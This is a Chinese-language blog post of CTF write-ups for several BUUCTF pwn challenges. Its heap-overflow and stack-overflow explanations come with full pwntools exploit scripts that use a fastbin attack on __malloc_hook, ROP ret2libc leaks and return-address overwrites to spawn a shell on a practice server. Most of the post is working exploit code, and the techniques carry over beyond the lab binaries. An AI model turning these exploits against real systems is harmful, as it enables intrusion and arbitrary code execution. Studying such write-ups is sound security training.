buu

babyheap_0ctf_2017

这个题目保护全开,我们分析一下它的数据结构:

可以看出,在一个程序分配出的地址上,存储了堆块是否被使用的flag,和堆块的size和堆块的内存指针,同时值得注意的是calloc,它和malloc有所不同,它分配的堆块的内容会被清0 。

在fill函数里面,我们很容易看出其存在堆溢出,因为输入的size可以由用户决定。
exp

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./babyheap_0ctf_2017"
libcversion = '2.23'
local = 0
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("node3.buuoj.cn",29799)

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def calloc(size):
    r.recvuntil("Command: ")
    r.sendline("1")
    r.recvuntil("Size: ")
    r.sendline(str(size))

def fill(idx,size,context):
    r.recvuntil("Command: ")
    r.sendline("2")
    r.recvuntil("Index: ")
    r.sendline(str(idx))
    r.recvuntil("Size: ")
    r.sendline(str(size))
    r.recvuntil("Content: ")
    r.send(context)

def free(idx):
    r.recvuntil("Command: ")
    r.sendline("3")
    r.recvuntil("Index: ")
    r.sendline(str(idx))

def dump(idx):
    r.recvuntil("Command: ")
    r.sendline("4")
    r.recvuntil("Index: ")
    r.sendline(str(idx))

calloc(0x10) #0
calloc(0x10) #1
calloc(0x80) #2
fill(0,0x20,"a"*0x10 + p64(0) + p64(0xb1))
free(1)
calloc(0xa0) #1
fill(1,0x20,"a"*0x10 + p64(0) + p64(0x91))
#gdb.attach(r)
calloc(0x10) #3
free(2)
dump(1)
r.recvuntil("\x7f")
__libc_start_main_addr = u64(r.recvuntil("\x7f").strip("\x00").ljust(8,"\x00")) - 0x3a4438
confirm(__libc_start_main_addr)
get_libc(__libc_start_main_addr,"__libc_start_main")
confirm(libcbase)
malloc_hook_addr = libcbase + libc.dump("__malloc_hook")
confirm(malloc_hook_addr)
one_gadget = 0x4526a + libcbase
calloc(0x68) #2
calloc(0x68) #4
free(4)
fill(2,0xc0,"a"*0xa0 + p64(0) + p64(0x71) + p64(malloc_hook_addr-0x23) + p64(0))
calloc(0x60) #4
calloc(0x60) #5
fill(5,0x8+0x13,0x13*"A" + p64(one_gadget))
calloc(0x10)

ciscn_2019_c_1

普通的栈溢出,但是这个题目有个加密的函数

然后自然要联想到解密嘛,所以我就写了脚本将pyload打进去之前先加密,然后利用程序的异或解密,但是我虽然成功泄露出了地址但是还是没办法getshell,第二个payload打进去的时候好像会被改乱,呜呜呜,而且好像timeout了,所以想别的思路,卡了半天,才发现strlen()的”\x00”截断可以帮助break从而跳过加解密,哭了。
下面贴一个很混乱的脚本,主要是本地打通,远程一直打不通,地址什么泄露的都没问题,不知道为啥,换了多种方式,最终觉得我不配。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
r = remote("node3.buuoj.cn",29846)
#r = process("./ciscn_2019_c_1")
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
file = ELF("./ciscn_2019_c_1")
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400B28
__start_addr = 0x000000000400710
encode_addr = 0x0000000004009A0
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
log.info("------------------------------ leak real addr -------------------------------------------")
offset = 0x50+8
pop_rdi_addr = 0x0000000000400c83
payload =  "\x00" + (offset - 1)*"b"+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
log.info(hex(len(payload)))
'''
payload_list = []
for x in range(len(payload)):
    payload_list.append(payload[x])
#    print payload[x]
print payload_list
for x in range(len(payload_list)):
    if ord(payload_list[x])<=96 or ord(payload_list[x])>122:
        if ord(payload_list[x])<=64 or ord(payload_list[x]) > 90:
            if ord(payload_list[x])>47 and ord(payload_list[x])<=57:
                payload_list[x] = chr(ord(payload_list[x])^0xf)
        else:
            payload_list[x] = chr(ord(payload_list[x])^0xe)
    else:
        payload_list[x] = chr(ord(payload_list[x])^0xd)
payload_change = ""
for x in range(len(payload_list)):
    payload_change+=payload_list[x]
log.info(hex(len(payload_change)))
print payload_change
'''
r.sendline(payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n",drop=True)
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
libcbase = puts_addr - libc.symbols['puts']
#libc = LibcSearcher("puts",puts_addr)
#libc_puts = libc.dump('puts')
log.info("puts_addr:"+hex(puts_addr))
#gdb.attach(r)
#libcbase = puts_addr-libc_puts
log.info("base_addr:"+hex(libcbase))
#system_addr = libcbase + libc.dump('system')
system_addr = libcbase + 0x04f440
log.info("system_addr:"+hex(system_addr))
binsh_addr = 0x1b3e9a+libcbase
#binsh_addr = libcbase + libc.search("/bin/sh").next()
#binsh_addr = libc.dump("str_bin_sh")+libcbase
log.info("binsh_addr:"+hex(binsh_addr))
#exit_addr = 0x00000000000013213
log.info("------------------------------ leak success! -------------------------------------------")
log.info("------------------------------ getshell -------------------------------------------")
payload ="\x00" +  "b"*(offset-1) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr) + p64(main_addr)
#one_gadget = libcbase + 0x45216
#payload = "b"*offset + p64(one_gadget)
'''
log.info(hex(len(payload)))
payload_list = []
for x in range(len(payload)):
    payload_list.append(payload[x])
#    print payload[x]
print payload_list
for x in range(len(payload_list)):
    if ord(payload_list[x])<=96 or ord(payload_list[x])>122:
        if ord(payload_list[x])<=64 or ord(payload_list[x]) > 90:
            if ord(payload_list[x])>47 and ord(payload_list[x])<=57:
                payload_list[x] = chr(ord(payload_list[x])^0xf)
        else:
            payload_list[x] = chr(ord(payload_list[x])^0xe)
    else:
        payload_list[x] = chr(ord(payload_list[x])^0xd)
payload_change = ""
for x in range(len(payload_list)):
    payload_change+=payload_list[x]
log.info(hex(len(payload_change)))
print payload_change
'''
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
#gdb.attach(r)
r.sendline(payload)
#r.recv()
# r.recv()
#sleep(0.2)
r.interactive()

ciscn_2019_n_1

主函数逻辑简单异常,一看就是利用gets的漏洞改写v2变量,不过值得学习的是浮点数相关知识和一些汇编指令,因为其采用的是SSE指令集

相关汇编指令

pxor ---> 异或指令
movss ---> 单精度复制
ucomiss ---> 比较指令

属实要是算浮点数写进去还挺难的,但是动态调式我们可直接得到相关的数据,完美,然而试了之后发现我太年轻了,不过IDA里面总还是有的。

贴个exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
r = remote('node3.buuoj.cn',29962)
#r = process('./ciscn_2019_n_1')
payload = 0x2c * 'a' + p32(0x322e3131)
payload = 0x2c * 'a' + p32(0x41348000)
#gdb.attach(r)
r.sendline(payload)
r.interactive()

pwn1_sctf_2016

题目里面关键函数看起来挺乱的。

不过这些C++ std::string之类的不需要逆向,基本没其关键作用

〜std :: string可以忽略,它只是字符串的析构函数,它将在所有实际代码完成后执行。

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator::allocator(&v6);
  std::string::string(&v5, "you", &v6);
  std::allocator::allocator(&v8);
  std::string::string(&v7, "I", &v8);
  replace((std::string *)&v4, (std::string *)&input, (std::string *)&v7);
  std::string::operator=(&input, &v4, v0, &v5);
  std::string::~string((std::string *)&v4);
  std::string::~string((std::string *)&v7);
  std::allocator::~allocator((int)&v8);
  std::string::~string((std::string *)&v5);
  std::allocator::~allocator((int)&v6);
  v1 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v1);
  return printf("So, %s\n", &s);

这些其实你就需要知道用了replace函数就行了,不过看大佬逆向的很完美。

void vuln()
{
    char buffer[32];
    printf("Greeting");
    fgets(buffer, 32, stdin);
    // Not sure if the parameters are right here but the idea is the same.
    std::string fixed = replace(std::string(buffer), std::string("I"), std::string("you"));
    strcpy(buffer, fixed.c_str());
    printf("So %s\n", buffer);
}

可以看到replace函数把I替换成了you这就相当于扩大了字符串长度,实现了栈溢出

offset = 21
payload = 'I' * offset + 'a' + p32(0x8048F0D)
r.sendline(payload)
r.interactive()

warmup_csaw_2016

offset = 0x40
r.recvuntil('>')
payload = 'a' * 0x48 + p64(0x00000000040060D)
#debug(0x0000000004006A3)
r.sendline(payload)

题目很简单


   转载规则


《buu》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
glibc heap unsorted bin attack glibc heap unsorted bin attack
unsorted bin 基本简介: 1.它是一种双向链表的形式, 采用FILO的遍历形式。 2.我们知道malloc的时候最先寻找fastbin, 但是当fastbin里面没有合适的chunk的时候,它会去寻找small bi
2020-01-30
下一篇 
Glibc-2.23-malloc源码审计 Glibc-2.23-malloc源码审计
Glibc-2.23-malloc源码审计 malloc经常用,但是之前光看了关键代码,没有细读,寒假正好有时间深入学习堆利用,就想着同时深入了解malloc的堆分配机理,glibc-2.23 开头前1000行都是各种注释和定义,可以边看
2020-01-30
  目录